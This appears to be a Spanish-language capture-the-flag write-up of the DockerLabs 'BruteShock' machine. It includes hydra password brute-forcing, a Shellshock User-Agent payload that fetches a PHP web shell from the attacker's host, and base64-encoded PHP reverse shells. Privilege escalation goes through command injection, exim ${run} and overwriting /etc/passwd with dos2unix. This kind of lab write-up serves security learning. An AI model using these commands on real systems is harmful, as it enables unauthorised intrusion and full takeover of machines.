Bruteshock
Última actualización
Última actualización
Hoy resolveremos la máquina "BruteShock" de DockerLabs
Autor: Darksblack & maciiii___(yo)
Dificultad: Medio
Comenzamos con un escaneo de nmap
nmap -sSVC -p- -Pn --open --min-rate 5000 -n -vvv 172.17.0.2 -oN escaneo.txt
# Nmap 7.95 scan initiated Sat Nov 2 15:15:00 2024 as: nmap -sSVC -p- -Pn --open --min-rate 5000 -n -vvv -oN escaneo.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000012s latency).
Scanned at 2024-11-02 15:15:01 -03 for 8s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 2 15:15:09 2024 -- 1 IP address (1 host up) scanned in 8.36 seconds
En este caso solo el puerto 80 está abierto y corre Apache httpd 2.4.62
.
Vamos a la web y no encontramos con lo siguiente:
Como vemos tenemos un panel de login, y si probamos las credenciales básicas no no sirve, por lo que recurrimos a hydra
, pero primero revisamos si tenemos cookies:
al parecer tenemos una, por la que también se la pasaremos a hydra
para que haga el ataque: Formato:
hydra -l <user> -P <wordlist> <ip> http-post-form "/index.php:username=^USER^&password=^PASS^:H=Cookie: <nombre de la cookie>=<cookie>:F=<mensaje de error>" -V
Aplicado:
hydra -l admin -P /opt/rockyou.txt 172.17.0.2 http-post-form "/index.php:username=^USER^&password=^PASS^:H=Cookie: PHPSESSID=4iulq1ru3emdckdsoipiuq413m:F=Credenciales incorrectas." -V
Ingresamos las credenciales y vemos la siguiente página:
De primeras parece un pishing pero no lo es, si probamos a ingresar algo no pasa nada interesante, pero en el mensaje dice "User-Agent almacenado en el log". Luego de buscar de que puede tratar (info) intento aprovecharlo. Para esto abro burpsuite y pruebo lo siguiente:
Inicio un servidor con python:
python3 -m http.server 8000
Creo un archivo php que me permita ejecutar comandos al subirlo:
<!DOCTYPE html>
<html>
<body>
<form method="GET">
<input type="text" name="cmd" placeholder="command">
<button type="submit">Ejecutar</button>
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Capturo la petición al entrar a la página y lo envío al repeater(ctrl+r):
Cambio el user-agent por lo siguiente:
() { :; }; curl 172.17.0.1:8000/cmd.php -o cmd.php
Una vez ejecutado veremos esto:
ahora que la shell se guardó, entramos por el navegador y veremos una página para ejecutar comandos:
ya podemos ejecutar comandos en la máquina victima.
Para enviarnos una reverse shell no lo podemos hacer con la típica shell de bash, ya que al parecer la máquina las bloquea, por lo que usaremos la página revshells y usaremos la de php exec
, escuchamos en el puerto 443 con netcat (sudo nc -lvnp 443
) y la enviamos por la web en base64 de la siguiente manera:
echo "cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE3Mi4xNy4wLjEiLDQ0Myk7ZXhlYygiYmFzaCA8JjMgPiYzIDI+JjMiKTsn" | base64 -d | bash
Una vez enviado habremos ganado acceso.
Para hacer el tratamiento de la tty es un poco distinto, deberemos hacer lo siguiente:
export SHELL=bash
export TERM=xterm
script /dev/null -c bash
^Z
stty raw -echo; fg
reset xterm
Ahora si revisamos los usuarios en la máquina, veremos 3:
darksblack
maci
pepe
Si buscamos cada archivo por cada usuario veremos lo siguiente:
find / -user "darksblack" 2>/dev/null
/home/darksblack
/var/backups/darksblack
/var/backups/darksblack/.darksblack.txt
Como vemos tenemos un txt el cual si lo leemos es el hash del shadow para el usuario darksblack, por lo que utilizaremos este metodo para crackear la contraseña: Cracking a shadow password using john the ripper
Una vez completado todos los pasos obtendremos la siguiente contraseña:
Por lo que escalamos con su darksblack
e introducimos sus credenciales.
Si ejecutamos sudo -l
veremos que podemos ejecutar como el usuario "maci" un script que se encuentra en su home (por lo que no lo podremos leer), así que lo ejecutamos y vemos que pasa:
Al parecer tenemos que adivinar un numero, este script puede que use un eq comparer
de bash para verificar si nuestra entrada es correcta, por lo que si el script usó doble corchete para hacerlo, podremos inyectar un comando y escalar, para hacerlo escribiremos lo siguiente en la adivinanza:
a[$(/bin/bash >&2)]+42
Ahora al ejecutar sudo -l
, veremos que podemos ejecutar el binario exim
como el usuario pepe, si investigamos de como escalar encontraremos exploits, pero no son útiles en este caso, ya que exim nos permite ejecutar comandos de la siguiente manera:
exim -be 'x=${run{/bin/id}}'
Por lo que si lo ejecutamos con sudo como el usuario pepe, estaríamos ejecutando comandos como ese usuario. Para poder escalar no podemos hacerlo con ejecutar "/bin/bash" o "/bin/bash -p", ya que exim no nos dejará hacerlo, la manera correcta es crear un script en "/tmp/" y que contenga la misma shell de php que usamos para entrar solo que dirigida a otro puerto, la manera simple es esta:
Escuchamos con netcat en el puerto 4444
Luego ejecutamos lo siguiente:
echo '#!/bin/bash' > /tmp/script && echo "echo 'cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE3Mi4xNy4wLjEiLDQ0NDQpO2V4ZWMoImJhc2ggPCYzID4mMyAyPiYzIik7Jw==' | base64 -d | bash" >> /tmp/script && chmod +x /tmp/script && sudo -u pepe exim -be 'x=${run{/tmp/script}}'
en resumen el comando crea el script y lo ejecuta como pepe. Una vez ejecutado habremos recibido una shell como el usuario pepe.
Ahora al ejecutar sudo -l
veremos que podemos ejecutar el binario dos2unix
como root, por lo que para escalar deberemos hacer lo siguiente:
Creamos un archivo en /tmp/
llamado passwd con el contenido de /etc/passwd
solo que eliminando la "x" de root, una vez creado ejecutamos lo siguiente:
passwd1=/tmp/passwd
passwd2=/etc/passwd
Ejecutamos dos2unix
de la siguiente manera:
sudo dos2unix -f -n "$passwd1" "$passwd2"
Escalamos a root ejecutando su
.
Gracias por leer.....